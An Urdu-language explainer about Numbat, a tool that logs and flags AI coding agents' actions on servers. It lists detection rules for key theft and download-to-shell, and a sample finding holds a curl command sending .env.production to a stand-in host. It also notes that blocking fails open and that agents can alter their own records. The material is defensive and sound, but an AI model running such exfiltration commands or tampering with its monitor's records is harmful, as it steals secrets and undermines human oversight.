SSD Nodes Learn Hosting plans →
تعلیمی Matt Connorتحریر: Matt Connor · اپ ڈیٹ شدہ 2026-10-25

Numbat: AI agent آپ کے server پر کیا کرتا ہے؟

Perplexity کا open source Numbat AI coding agents کی حقیقی سرگرمیاں record کرتا ہے، rules سے خطرناک رویّے پکڑتا ہے، مگر انہیں روک نہیں سکتا۔

Numbat کیا ہے

Numbat آپ کو یہ جاننے کی سہولت دیتا ہے کہ آپ کے زیرِ انتظام machine پر کسی AI agent نے کیا کارروائی کی۔ یہ coding agents کی تیار کردہ hook callbacks اور session files پڑھتا ہے، انہیں ایک متحدہ event format میں normalise کرتا ہے، اور ان کا ایسے rules سے موازنہ کرتا ہے جو SSH private key پڑھنے یا download کو براہِ راست shell میں pipe کرنے جیسے رویوں پر فعال ہوتے ہیں۔ Perplexity نے اسے Apache 2.0 کے تحت open source کے طور پر جاری کیا۔ پہلی tagged release 29 July 2026 کو جاری ہوئی۔

ذیل کی تمام معلومات project کے repository اور اس کی اپنی documentation سے لی گئی ہیں، جنہیں 2 August 2026 کو پڑھا گیا۔ Release history، install requirements، record schema اور agent coverage کو 12 October 2026 کو repository کے ساتھ دوبارہ verify کیا گیا۔ جہاں Perplexity نے کوئی دعویٰ کیا ہے، وہاں اس تحریر میں اسے واضح کیا گیا ہے۔ یہ install tutorial نہیں ہے، کیونکہ repository ابھی نئی ہے اور اس کے commands تبدیل ہوں گے۔

مسئلہ: کوئی یہ درج نہیں کرتا کہ agent نے کیا کیا

آپ کے VPS پر چلنے والا coding agent shell commands چلاتا ہے، files پڑھتا اور لکھتا ہے، اور network connections کھولتا ہے۔ یہ سب اسی user کے اختیار کے ساتھ ہوتا ہے جو آپ نے اسے دیا ہے۔ آپ کی shell history میں ان میں سے کچھ بھی درج نہیں ہوتا، کیونکہ agent آپ کے shell میں خود commands نہیں لکھ رہا ہوتا۔ sshd صرف آپ کے login کو log کرتا ہے، اس کے بعد model نے جو فیصلے کیے ہوں انہیں نہیں۔ /var/log/auth.log اس وقت تک خاموش رہتا ہے جب تک کوئی چیز sudo تک رسائی حاصل نہ کرے۔ agent اپنا transcript رکھتا ہے، لیکن یہ file agent کی session directory میں ہوتی ہے، اس کا format releases کے درمیان تبدیل ہوتا رہتا ہے، اور agent کا اپنا process اس میں لکھ سکتا ہے۔

لہٰذا جب کوئی پوچھتا ہے کہ agent نے گزشتہ منگل کو .env.production پڑھا تھا یا نہیں، تو زیادہ تر servers پر دیانت دار جواب یہی ہے کہ آپ یہ معلوم نہیں کر سکتے۔ یہی خلا اس project کے وجود کی وجہ ہے۔

Perplexity کے مطابق Numbat کیا کرتا ہے

README کا آغاز اس وضاحت سے ہوتا ہے کہ یہ ٹول "AI agent کی سرگرمی کی endpoint visibility فراہم کرتا ہے، جس میں local detection، اختیاری pre-action blocking، اور forensic reconstruction شامل ہیں"۔ یہاں endpoint سے مراد وہ machine ہے جس پر agent چلتا ہے، نہ کہ باہر سے نگرانی کرنے والا network appliance۔ یہ الگ الگ capabilities ہیں، اور ہر capability کی اہمیت مختلف ہے۔

Detection device پر چلتی ہے۔ Rules CEL (common expression language) میں لکھی جاتی ہیں اور locally evaluate ہوتی ہیں۔ اس کے علاوہ multi-step sequence rules اور YAML میں اپنی rules کی support بھی موجود ہے۔ Rule trigger ہونے کے لیے machine سے کچھ بھی باہر بھیجنا ضروری نہیں۔

Blocking اختیاری اور محدود ہے۔ یہ صرف synchronous pre-action hooks کے ذریعے کام کرتی ہے، اور صرف ان agents پر جو ایسا hook expose کرتے ہوں۔ اسے enable کرنے تک یہ بند رہتی ہے۔

Reconstruction بعد میں ہوتی ہے۔ numbat scan وہ session artifacts parse کرتا ہے جو agent پہلے ہی disk پر لکھ چکا ہو، اس لیے آپ کسی بھی چیز کو install کرنے سے پہلے کی activity بھی دیکھ سکتے ہیں۔ Project اس دعوے کی حدود واضح طور پر بیان کرتا ہے: "At-rest reconstruction، disk یا memory acquisition نہیں ہے، اور ایسی activity recover نہیں کر سکتی جسے agent نے persist نہ کیا ہو۔"

Output versioned NDJSON (newline delimited JSON) ہوتا ہے، جس میں events، findings، enforcement decisions، indicators اور scan summaries شامل ہوتے ہیں۔ v0.1.2 کے مطابق schema version 0.2.0 تھا۔ بعد میں schema تبدیل ہوا: 12 October 2026 کو repository میں schema versions 0.2.0، 0.3.0 اور 0.4.0 موجود تھے، جبکہ README میں record examples 0.4.0 دکھاتے تھے۔ Records stdout یا local file میں لکھے جاتے ہیں، اور اختیاری طور پر HTTP کے ذریعے آپ کے چلائے ہوئے collector کو بھی بھیجے جا سکتے ہیں۔ یہ cgo کے بغیر built ایک static Go binary کے طور پر فراہم ہوتا ہے، جو macOS، Linux اور Windows پر amd64 اور arm64 کے لیے دستیاب ہے۔ اس لیے Linux VPS پر یہ صرف ایک file ہے؛ پہلے کسی runtime کو install کرنے کی ضرورت نہیں ہوتی۔

Numbat حقیقت میں کن agents کو دیکھ سکتا ہے؟

docs/agent-coverage.md میں موجود coverage matrix حتمی فہرست ہے، اور اس میں یکساں coverage نہیں ہے۔ project اس حقیقت کو چھپانے کے بجائے واضح طور پر بیان کرتا ہے۔ Claude Code، Codex، Gemini CLI، Cursor اور GitHub Copilot CLI میں artifact scanning اور pre-action hook کے ذریعے live capture، دونوں دستیاب ہیں۔ OpenClaw کو version 2026.7.1 اور اس کے بعد native plugin ملتا ہے۔ بہت سی entries deferred کے طور پر نشان زد ہیں۔ اس کا مطلب ہے کہ live hook path موجود ہے، لیکن artifact parser موجود نہیں۔ اکثر وجہ یہ ہوتی ہے کہ agent اپنی history SQLite میں write-ahead log کے ساتھ محفوظ کرتا ہے، جسے agent کے چلنے کے دوران محفوظ طریقے سے پڑھا نہیں جا سکتا۔ Cline CLI اسی گروپ میں شامل ہے: اس کے live hooks کام کرتے ہیں، لیکن اس کے SQLite sessions parse نہیں کیے جاتے۔ OpenCode ایک درمیانی صورت ہے۔ v0.1.2 matrix اس کے پہلے JSON stores کو parse کرتا ہے اور صرف موجودہ opencode.db database کو مؤخر کرتا ہے۔ اس میں OpenCode کے لیے pre-action enforcement درج نہیں ہے، اور 12 October 2026 کو main کی matrix میں بھی یہی صورت حال برقرار تھی۔

اس tool کے حوالے سے کوئی منصوبہ بنانے سے پہلے اپنے agent کی row دیکھیں، کیونکہ تقریباً ہر row میں "supported" کا مطلب مختلف ہے۔

ڈیٹیکشن کی صورت

Rules میں ایسے ids ہوتے ہیں جو بتاتے ہیں کہ وہ کس مقصد کے لیے ہیں۔ secrets.read_private_key میں SSH key، AWS credentials، kube config یا package registry login شامل ہوتے ہیں۔ exec.download_pipe_shell اس وقت فعال ہوتا ہے جب curl یا wget کے output کو interpreter میں pipe کیا جائے۔ privilege.elevated_shell، sudo، doas، su یا pkexec کے ذریعے interactive root shell کی درخواست کو پکڑتا ہے۔ impact.cryptomining_launch معروف miner binaries اور image names سے match کرتا ہے۔

Sequence rules ایک ہی session کے اندر ہونے والے events کو جوڑتے ہیں۔ chain.secret_read_then_egress کے لیے پہلے secret file پڑھنا اور اس کے بعد ایسا command چلانا ضروری ہے جو data کو باہر بھیجے۔ README میں ذیل کا finding دو Claude Code pre-action callbacks کی controlled replay سے حاصل کیا گیا ہے، live incident سے نہیں۔ یہاں صرف متعلقہ fields دکھائی گئی ہیں:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Record کے اندر موجود "confidence": "medium" کو نوٹ کریں، اور یہ بھی دیکھیں کہ project اس پوری output class کے بارے میں کیا کہتا ہے: "Findings are rule matches, not proof of compromise." ایسا deploy script جو key پڑھ کر build artifact upload کرتا ہے، اسی sequence rule سے match ہو جائے گا۔ Match درست ہے، لیکن alarm غلط ہے۔ آپ نے اب تک جو بھی detection tool چلایا ہے، اس میں یہی معمول کی صورت حال ہوتی ہے۔

بطورِ پیش فرض blocking بند ہے، اور خرابی کی صورت میں اجازت دی جاتی ہے

Numbat کی فراہم کردہ ہر rule صرف monitoring کے لیے ہے۔ کسی rule کو blocking میں تبدیل کرنے کے لیے جان بوجھ کر کام کرنا ہوتا ہے: rule کی مکمل YAML کو اپنی directory میں copy کریں، وہی id برقرار رکھیں، enforce: true شامل کریں، version بڑھائیں، پھر اس policy کی validation اور installation کریں۔

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

اب اس حصے پر آئیں جو یہ طے کرتا ہے کہ آپ کو اس پر کتنا اعتماد کرنا چاہیے۔ Numbat کا deny agent کو واپس بھیجا جانے والا response ہے، اور tool call کو حقیقت میں agent ہی مسترد کرتا ہے۔ Enforcement guide واضح طور پر بتاتی ہے کہ Numbat میں خود کوئی مسئلہ پیدا ہونے پر کیا ہوتا ہے: "Malformed payloads، متعلقہ evaluation errors، panics، اور output failures، numbat deny کو suppress کر دیتے ہیں۔" Hook input کی حد 4 MiB ہے، اور حد سے بڑی input بھی یہی راستہ اختیار کرتی ہے۔

Guide اس deny کی حد بھی واضح طور پر بیان کرتی ہے جو واقعی پہنچ جائے: "Fail-open کا مطلب ہے کہ numbat اپنا deny response روک لیتا ہے۔ اس کی ضمانت نہیں ہوتی کہ tool execute ہوگا: host پھر بھی prompt دکھا سکتا ہے، deny کر سکتا ہے، timeout ہو سکتا ہے، یا کوئی دوسرا hook یا policy لاگو کر سکتا ہے۔"

لہٰذا یہاں enforcement ایک حفاظتی رکاوٹ ہے، مکمل حد بندی نہیں۔ اگر process crash ہو جائے تو action کو Numbat کی طرف سے block نہیں کیا جاتا، کیونکہ ایسا monitor جو ہر خرابی پر آپ کے agent کو freeze کر دے، ایک ہفتے کے اندر uninstall کر دیا جاتا ہے۔ یہ trade-off معقول ہے۔ لیکن ایسا security model نہ بنائیں جو یہ فرض کرے کہ deny ہمیشہ پہنچے گا۔

Numbat آپ کے موجودہ طریقۂ کار کے ساتھ کہاں فٹ ہوتا ہے

Numbat endpoint پر، agent کے اپنے process tree کے اندر چلتا ہے اور default طور پر ~/.numbat/records.ndjson میں لکھتا ہے۔ آپ کے user کے طور پر چلنے والا agent اس file کو پڑھ سکتا ہے۔ وہ اس میں ترمیم بھی کر سکتا ہے۔ audit trail کی قدر اتنی ہی ہوتی ہے جتنی اس کے گرد موجود isolation کی۔ اس لیے آپ کے تمام موجودہ controls اس control سے پہلے ہونے چاہییں، اس کے بعد نہیں۔

coding agent کے لیے disposable VM دینا یہ محدود کرتا ہے کہ خراب run کن resources تک پہنچ سکتا ہے۔ VPS پر least privilege user agent کو ان files سے دور رکھتا ہے جنہیں کھولنے کا اسے اختیار نہیں۔ credentials کو agent کے context سے باہر رکھنا ہی secrets.read_private_key کو اتنا نایاب بناتا ہے کہ trigger ہونے پر اسے پڑھنا مفید ہو۔ اور VPS پر Claude Code کے لیے بنایا گیا sandbox اب بھی containment فراہم کرتا ہے۔ Containment یہ محدود کرتا ہے کہ خراب run کیا چھو سکتا ہے، جبکہ code کی ساخت کی وجہ لکھ کر رکھنا یہ کم کرتا ہے کہ agent کتنی بار کوئی ایسا غیر متوقع کام کرے گا جو آپ کو log دیکھنے پر مجبور کرے۔

Numbat جو چیز شامل کرتا ہے وہ record ہے، اس لیے record کو ایسی جگہ بھیجیں جہاں agent نہ پہنچ سکے۔ numbat ship اور HTTP sink اسی مقصد کے لیے موجود ہیں۔ stream کی ایک copy دوسری machine پر رکھنا، log file اور evidence کے درمیان بنیادی فرق ہے۔ event model میں MCP (model context protocol) fields بھی شامل ہوتے ہیں۔ اس لیے VPS پر host کیے گئے MCP server سے گزرنے والی tool calls، local shell commands کے ساتھ اسی stream میں درج ہوتی ہیں۔ یہ اس لیے اہم ہے کہ صرف bash کو monitor کرنے والا کوئی بھی طریقہ اس path کو نہیں دیکھ سکتا۔ یہی blind spot agent کے search backend کے طور پر منسلک SearXNG instance پر بھی لاگو ہوتا ہے، جہاں risk کسی ایسے command کے بجائے، جسے کوئی rule match کر سکے، غیر معتبر page text کی صورت میں model کے context میں داخل ہوتا ہے۔

پہلے read-only موڈ میں آزمائیں

Pinned version انسٹال کریں۔ نیچے دیا گیا command v0.1.2 کو pin کرتا ہے، جس کے README میں Go 1.26.5 یا اس کے بعد کا ورژن درکار ہے۔ 12 October 2026 کو main کے README میں Go 1.26.6 یا اس کے بعد کا ورژن درکار تھا۔ یہ تبدیلی v0.2.0 کے ساتھ شامل ہوئی، اس لیے اگر آپ نیا tag pin کریں تو 1.26.6 استعمال کریں۔ اگر آپ source سے build نہیں کرنا چاہتے تو releases page پر SHA-256 checksums کے ساتھ پہلے سے بنے ہوئے binaries موجود ہیں۔

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents مشین پر انسٹال agents تلاش کرتا ہے۔ numbat scan پہلے سے disk پر موجود session artifacts کو parse کرتا ہے اور records دکھاتا ہے۔ README کے مطابق یہ commands "hooks انسٹال نہیں کرتے اور agent configuration تبدیل نہیں کرتے"، جبکہ numbat "artifacts میں ملنے والے agents یا commands کو کبھی execute نہیں کرتا، اور outbound requests صرف configured HTTP sinks کو بھیجتا ہے"۔ Scanning read-only ہوتی ہے اور secrets کو redact کرتی ہے۔ معمول کے record output میں مکمل raw transcript شامل نہیں ہوتا۔

Live capture اگلا مرحلہ ہے، اور یہ agent configuration تبدیل کرتا ہے:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all events، findings، indicators اور قابل اطلاق enforcement decisions کو ~/.numbat/records.ndjson میں لکھتا ہے۔ Project کی طرف سے براہ راست دی گئی دو احتیاطیں اہم ہیں۔ Hooks کو چلنے سے پہلے agent کے اندر trusted بنانا پڑ سکتا ہے، اور --enforce جیسے flags تبدیل کرنے کے بعد اس trust کا دوبارہ جائزہ لینا ضروری ہے۔ مزید یہ کہ hook status "configuration کی تصدیق کرتا ہے، execution یا delivery کی نہیں"۔ اس لیے healthy status line اس بات کا ثبوت نہیں کہ records کہیں پہنچ رہے ہیں۔

یہ repository اتنا نیا کیوں ہے کہ اسے dependency نہیں بنایا جا سکتا

12 October 2026 تک public releases یہ ہیں: 29 July 2026 کو v0.1.1، 1 August 2026 کو v0.1.2، اور 17 August 2026 کو v0.2.0، جسے releases page تازہ ترین release کے طور پر دکھاتا ہے۔ یہ post لکھے جانے کے وقت، 2 August 2026 کو repository کے 597 stars تھے۔ اتنی تیز رفتار Perplexity کی audience کو ظاہر کرتی ہے، code کے قابل اعتماد ہونے کو نہیں۔ Star کا مطلب ہے کہ کسی نے page کو بعد میں دیکھنے کے لیے محفوظ کیا ہے۔

Version number واضح طور پر بتاتا ہے کہ یہ project کس مرحلے میں ہے۔ v0.1.2 کے notes میں زیادہ تر credential redaction fixes شامل ہیں، اس کے علاوہ case bundle اور telemetry normalisation کا کام ہے۔ v0.2.0 کے notes میں bounded message content capture، اس کے beforeReadFile hook کے ذریعے Cursor read-file enforcement، اور مزید redaction fixes شامل ہیں۔ ایسے tool میں ابتدائی defects کی متوقع صورت redaction bugs ہی ہوتی ہے، جس کا کام دوسرے programs کے transcripts کو محفوظ طریقے سے پڑھنا ہے۔ ان bugs کی تعداد مزید بڑھے گی، کیونکہ inputs ایک درجن agents سے آتے ہیں اور ہر agent اپنا format الگ schedule کے مطابق تبدیل کرتا ہے۔

اس سے دو عملی اصول اخذ ہوتے ہیں۔ جس چیز کو برقرار رکھنا ہو اس میں tag pin کریں، کبھی @latest نہیں۔ اور اسے ایسے control کے بجائے زیرِ جائزہ instrument سمجھیں جس پر آپ انحصار کرتے ہیں، کم از کم اس وقت تک جب تک record schema کی تبدیلیاں رک نہیں جاتیں۔ یہ تبدیلیاں ابھی نہیں رکیں: تقریباً دس ہفتوں میں یہ v0.1.2 کے 0.2.0 سے main کے README میں 0.4.0 تک پہنچ گیا۔

FAQ

کیا Numbat خطرناک AI agent commands کو روکتا ہے؟

صرف اسی صورت میں جب آپ خود اس کا انتخاب کریں، اور وہ بھی صرف best effort بنیاد پر۔ Numbat کے ساتھ شامل ہر rule صرف monitor mode میں ہوتا ہے۔ روکنے کے لیے rule کی YAML اپنی directory میں copy کریں، اس کی id برقرار رکھیں، enforce: true شامل کریں، version بڑھائیں، اور --enforce کے ذریعے hook install کریں۔ اس کے باوجود deny ایک response کے طور پر agent کو واپس بھیجا جاتا ہے، اور call مسترد کرنے والا agent ہی ہوتا ہے۔ Project fail-open behavior دستاویز کرتا ہے: malformed payloads، evaluation errors، panics اور output failures سب deny کو suppress کر دیتے ہیں۔ اسے guardrail کے طور پر استعمال کریں، اپنی واحد security boundary کے طور پر نہیں۔

Numbat کن AI agents کو support کرتا ہے؟

Coverage ہر agent کے لیے مختلف ہے اور repository میں docs/agent-coverage.md میں درج ہے۔ جب یہ صفحہ 2 August 2026 کو پڑھا گیا، تو Claude Code، Codex، Gemini CLI، Cursor اور GitHub Copilot CLI میں artifact scanning اور live capture دونوں موجود تھے، جبکہ OpenClaw میں version 2026.7.1 سے native plugin موجود ہے۔ بہت سے دیگر agents کے لیے live hook path درج ہے، لیکن ابھی artifact parser موجود نہیں۔ عموماً اس کی وجہ یہ ہے کہ ان کی session history SQLite database میں ہوتی ہے، جسے agent کے چلتے وقت پڑھنا محفوظ نہیں ہوتا۔ اپنے agent کی row پڑھیں، کیونکہ وہاں "supported" کئی مختلف سطحوں کا احاطہ کرتا ہے۔

کیا agent Numbat کے records میں ردوبدل کر سکتا ہے؟

ہاں، اگر وہ اسی user کے طور پر چل رہا ہو۔ Records بطور default اسی machine پر ~/.numbat/records.ndjson میں محفوظ ہوتے ہیں جس پر agent چل رہا ہو، اس لیے اس path تک write access رکھنے والی کوئی بھی چیز انہیں تبدیل یا حذف کر سکتی ہے۔ Stream کو ایسے collector تک بھیجیں جس تک agent کی رسائی نہ ہو، numbat ship یا HTTP sink استعمال کریں، اور local file کو صرف سہولت کے لیے copy کے طور پر رکھیں۔ یہی وجہ ہے کہ یہ tool isolation کی تکمیل کرتا ہے، اسے replace نہیں کرتا۔ least privilege user کے تحت disposable VM میں محدود agent کو اپنے audit trail تک بہت کم رسائی حاصل ہوتی ہے۔

کیا Numbat production server کے لیے تیار ہے؟

ایسے control کے طور پر نہیں جس پر آپ انحصار کریں۔ پہلی public release v0.1.1، 29 July 2026 کو جاری ہوئی؛ اس کے بعد 1 August 2026 کو v0.1.2 اور 17 August 2026 کو v0.2.0 جاری ہوئے۔ 12 October 2026 تک README میں record schema 0.4.0 تک پہنچ چکا تھا، اس لیے flags اور record schema دونوں میں اب بھی تبدیلیاں ہو رہی ہیں۔ کسی machine پر numbat agents اور numbat scan چلانا read-only اور کم خطرے والا عمل ہے، اور اس سے معلوم ہو جائے گا کہ آپ کے agents disk پر کیا چھوڑ رہے ہیں۔ اہم server پر enforcement hooks install کرنا الگ فیصلہ ہے۔ اس کے لیے pinned tag اور hook کے غلط طرزِ عمل کی صورت میں انجام پانے والے عمل کا منصوبہ درکار ہے۔

کیا یہ مضمون مفید تھا؟